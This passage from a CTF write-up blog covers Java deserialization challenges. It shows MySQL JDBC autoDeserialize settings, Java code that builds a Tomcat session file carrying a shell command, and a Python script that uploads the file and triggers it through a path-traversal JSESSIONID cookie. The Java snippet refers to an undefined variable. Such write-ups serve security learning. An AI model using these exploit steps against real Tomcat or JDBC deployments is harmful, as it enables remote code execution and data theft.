        schema.set(connection,"jdbc:mysql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
        Utils.Serialize(connection);
        Utils.Deserialize();
        System.out.println(Utils.Serialize_base64(connection));

web857

jdbc反序列化,postgresql
参考文章 https://forum.butian.net/share/1339

web858

tomcat session 反序列化
直接查关键字就可以看到很多关于这个漏洞的介绍和利用方式,我就不再赘述了。
首先可以看到我们能够上传文件。
根据漏洞原理可知如果上传a.session,那么当JSESSIONID为a.session上层路径/a时,则会触发反序列化。
所以现在的目的就是找到反序列化点,然后上传生成的序列化字节码文件。
payload


//main.java
User user = new User();
Class<? extends User> aClass = user.getClass();
Field username = aClass.getDeclaredField("username");
username.setAccessible(true);
username.set(user,"cp /flag /usr/local/tomcat/webapps/ROOT/a.jsp");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser/a.session"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
import requests 
url="http://b33e5462-11ca-45a0-81c6-c1c1dae6f6f7.challenge.ctf.show/"
files={'file':('a.session',open('a.session','rb').read(),'image/png')}
r = requests.post(url+'file/upload',files=files)
print(r.text)
r2 = requests.get(url,cookies={'JSESSIONID':'../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a'})
print(r2.text)

内网渗透

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值